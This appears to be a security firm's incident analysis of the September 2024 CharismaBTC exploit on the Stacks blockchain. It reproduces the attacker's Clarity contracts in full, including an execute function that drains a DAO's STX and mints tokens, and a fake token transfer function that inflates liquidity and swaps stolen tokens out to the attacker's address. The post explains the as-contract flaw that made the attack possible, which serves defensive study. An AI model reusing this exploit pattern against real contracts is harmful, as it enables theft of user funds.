Request an Audit
Back
  • 09/24/2024

A new attack on bitcoin defi protocol

(CharismaBTC hack incident analysis)

1.BACKGORUND

This is likely the second known attack on Bitcoin DeFi. The first, against Zest Protocol, has already been analyzed by us before.

It’s important to note that Stacks uses the Clarity smart contract language, which differs significantly from Solidity. If you’d like to learn more about Clarity, please refer to https://book.clarity-lang.org/

In this context, we won’t delve into the specifics of Clarity.

2.Incident quick review:

Charisma is a memecoins staking protocol on stacks ecosystem,in Sep 21th attacker exploit the smart contract vulnerability drained all liquidity, lost 183,548 STX

1

The whole brief attack flow is:

3. attack steps

the attacker tx is :https://explorer.hiro.so/txid/0xa570732b3d733ee33fde841ee4ba4692602241509e3729e0e98ab4ce80ebe024?chain=mainnet

the attack deploy the attack contract:

SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.badger-stx-city

https://explorer.hiro.so/txid/SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.badger-stx-city?chain=mainnet

  • the attacker call burn function on `SP33HDXRZDGBY4NSCMPZJ9FP9XMKANVJHFD44YPYK.honey-badger-city contract
(define-public (execute (proposal <proposal-trait>) (sender principal))
	(begin
		(try! (is-self-or-extension))
		(asserts! (map-insert executed-proposals (contract-of proposal) block-height) err-already-executed)
		(print {event: "execute", proposal: proposal})
		(as-contract (contract-call? proposal execute sender))
	)
)
with the arguments: 

proposal: `'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.badger-stx-city`

sender: `SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7`
  • This is the 'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.badger-stx-city execute function:
(define-public (execute (sender principal))
    (begin
        (if (> (stx-get-balance tx-sender) u0)
            (try! (stx-transfer? (stx-get-balance tx-sender) tx-sender (var-get contract-owner)))
            false)
        (try! (contract-call? 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master set-extension 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dme001-proposal-voting false))
        (try! (contract-call? 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dme000-governance-token dmg-mint (* u20000000000 u1000000) 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands))
        (try! (contract-call? 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands set-whitelisted .honey-badger-stx-city true))
        (match (contract-call? 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands wrap u1 .honey-badger-stx-city)
            a true 
            b true)
        (match (contract-call? 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands unwrap u1 .honey-badger-stx-city)
            a true 
            b true)
        (ok true))
)

what happed in there is:

1.after call

(try! (stx-transfer? (stx-get-balance tx-sender) tx-sender (var-get contract-owner)))

will transfer the 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master contract’s stx to

SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7

you may be confusion here, tx-sender is the origin tx’s sender should be SP33HDXRZDGBY4NSCMPZJ9FP9XMKANVJHFD44YPYK buy why in here is 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master

this is because the contract call is

(as-contract (contract-call? proposal execute sender))

in carlitity, as-contract will update the tx-sender to current tx-sender to the current contract address(https://book.clarity-lang.org/ch03-00-keywords.html).

so this is one of keypoint of the attack can happened.

After the transfer, the 'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.badger-stx-city will have dranied all the ~1405 STX in contract 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master .

2.call 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master set-extension function

3.mint charisma 20,000,000,000 CHA to 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.landshttps://explorer.hiro.so/txid/SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dme000-governance-token?chain=mainnet

4.add 'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.honey-badger-stx-cityto whitelist

5.call SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.landswarp function , this function will

Call maclious contract 'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.honey-badger-stx-city‘s fake transfer function.

;; Wrapping and unwrapping logic

(define-public (wrap (amount uint) (sip010-asset <sip010>))
	(let
		(
			(land-id (try! (get-or-create-land-id sip010-asset)))
      (stored-out (set-balance land-id (+ (get-balance-uint land-id tx-sender) amount) tx-sender))
		)
    (try! (is-dao-or-extension))
		(try! (contract-call? sip010-asset transfer amount tx-sender (as-contract tx-sender) none))
		(try! (ft-mint? lands amount tx-sender))
		(try! (tag-id {land-id: land-id, owner: tx-sender}))
		(map-set land-supplies land-id (+ (get-total-supply-uint land-id) amount))
		(print {type: "sft_mint", token-id: land-id, amount: amount, recipient: tx-sender})
    (ok stored-out)
	)
)

fake transfer function in 'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.honey-badger-stx-city‘:

;; SIP-10 Functions
(define-public (transfer (amount uint) (from principal) (to principal) (memo (optional (buff 34))))
    (if (and (is-eq from 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands) (is-eq to 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master))
        (begin
            (try! (contract-call? 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.wrapped-charisma add-liquidity (* u5000000000 u1000000)))
            (try! (swap-token u55 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.wrapped-charisma))
            (try! (contract-call? 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.liquid-staked-charisma stake (* u10000000000 u1000000)))
            (try! (swap-token u54 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.liquid-staked-charisma))
            (try! (swap-token u27 'SP3NE50GEXFG9SZGTT51P40X2CKYSZ5CC4ZTZ7A2G.welshcorgicoin-token))
            (try! (swap-token u15 'SP2C1WREHGM75C7TGFAEJPFKTFTEGZKF6DFT6E2GE.kangaroo))
            (if (> (stx-get-balance tx-sender) u0)
                (try! (stx-transfer? (stx-get-balance tx-sender) tx-sender 'SP3M0BBRZEJ8YBMF8WTSE0MHD04F0S9M4FE7DJVPK))
                true)
            (ok true))
        (ok true))
)

And in here from is ‘SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master so (is-eq from 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands) will return false

and the function directly return (ok true)

6.and then will call unwrap()

(define-public (unwrap (amount uint) (sip010-asset <sip010>))
	(let
		(
			(land-id (try! (get-or-create-land-id sip010-asset)))
			(original-sender tx-sender)
			(sender-balance (get-balance-uint land-id tx-sender))
      (stored-out (set-balance land-id (- sender-balance amount) original-sender))
		)
    (try! (is-dao-or-extension))
		(asserts! (<= amount sender-balance) err-insufficient-balance)
		(try! (ft-burn? lands amount original-sender))
		(try! (as-contract (contract-call? sip010-asset transfer amount tx-sender original-sender none)))
		(map-set land-supplies land-id (- (get-total-supply-uint land-id) amount))
		(print {type: "sft_burn", token-id: land-id, amount: amount, sender: original-sender})
    (ok stored-out)
	)
)

in this function will make original-sender is 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master

1.first will burn the LANDS token which mint before.

2.execute the code:

(try! (as-contract (contract-call? sip010-asset transfer amount tx-sender original-sender none)))

in here. it will call 'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.honey-badger-stx-city‘s fake transfer function again

this time transfer from will be SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands

to will be 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master

so the verfiy

(if (and (is-eq from 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands) (is-eq to 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master))

will be bypass .

3.After execute:

(try! (contract-call? 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.wrapped-charisma add-liquidity (* u5000000000 u1000000)))

will transfer the SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands contract’s 5,000,000,000 CHA token to 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.wrapped-charisma and add the liquidty to the pool and Stacking 10,000,000,000 CHA tokens and received 9,132,580,000 sCHA tokens.

4.Then call the swap-token function

(define-public (swap-token (id uint) (contract <sip010>))
    (if (> (unwrap-panic (contract-call? contract get-balance tx-sender)) u0)
        (contract-call? 'SP1Y5YSTAHZ88XYK1VPDH24GY0HPX5J4JECTMY4A1.univ2-router swap-exact-tokens-for-tokens id 'SP1Y5YSTAHZ88XYK1VPDH24GY0HPX5J4JECTMY4A1.wstx contract contract 'SP1Y5YSTAHZ88XYK1VPDH24GY0HPX5J4JECTMY4A1.wstx 'SP1Y5YSTAHZ88XYK1VPDH24GY0HPX5J4JECTMY4A1.univ2-share-fee-to (unwrap-panic (contract-call? contract get-balance tx-sender)) u10000)
        (err u1))
)

Then, `SP1Y5YSTAHZ88XYK1VPDH24GY0HPX5J4JECTMY4A1.univ2-router` will be used to exchange the tokens contained in the `SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands` contract, including sCHA, Welsh and Roo. Finally, the tokens will be exchanged for wstx through swap.

5.Finally,execute the code:

 `(try! (stx-transfer? (stx-get-balance tx-sender) tx-sender 'SP3M0BBRZEJ8YBMF8WTSE0MHD04F0S9M4FE7DJVPK)` 

to transfer the swapped stx to address `SP3M0BBRZEJ8YBMF8WTSE0MHD04F0S9M4FE7DJVPK` to complete the attack

4.Summary

The key point of the vulnerability is to cleverly use as-contract and construct a fake transfer function. This allows the attacker to call wrap, perform a transfer without any actual operation, and return success. When calling unwrap, the attacker first staking CHA tokens and then calls swap-token(including lands contract’s sCHA,Welsh, Roo tokens) to execute the core attack code.

Why not directly construct a malicious transfer function in wrap to complete the attack?

This is the crux of the attack. In the wrap function, the code:

(try! (contract-call? sip010-asset transfer amount tx-sender (as-contract tx-sender) none))

ensures that the attacker’s tx-sender will not be

SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands.

However, in the unwrap function:

(try! (as-contract (contract-call? sip010-asset transfer amount tx-sender original-sender none)))

as-contract makes tx-sender SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands. Consequently, 5,000,000,000 CHA tokens in the SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands contract are added to the liquidity pool.

5.Reflection

tx-sender is akin to tx.origin in the EVM. The (as-contract tx-sender) feature allows transactions to be executed as if they originated from current context contract, enabling them to circumvent certain restrictions that rely on contracts as trusted sources.

For instance, in this attack, liquidity is inflated because (as-contract tx-sender) grants attackers the ability to directly transfer tokens within the contract to the liquidity pool. This effectively grants them the same privileges as the contract’s owner, compromising the trust boundary. This is the fundamental cause of the attack.”

6.The hacker deploy contracts:

1.SP33HDXRZDGBY4NSCMPZJ9FP9XMKANVJHFD44YPYK.honey-badger-city

2.SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.badger-stx-city

3.SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.honey-badger-stx-city

7.Reference

1.https://exvul.com/the-first-attack-on-bitcoin-defi-smart-contract/

2.https://x.com/CharismaBTC/status/1837430901749244080

3.https://docs.stacks.co/reference/functions#as-contract

4.https://book.clarity-lang.org/ch03-00-keywords.html

  • Alos last year our founder (https://twitter.com/ma1fan ) discovered several stacks of clarity language vulnerabilities and received a total reward of 330K USD.
  • If you need clarity contract security audit, please contact us nolan@exvul.com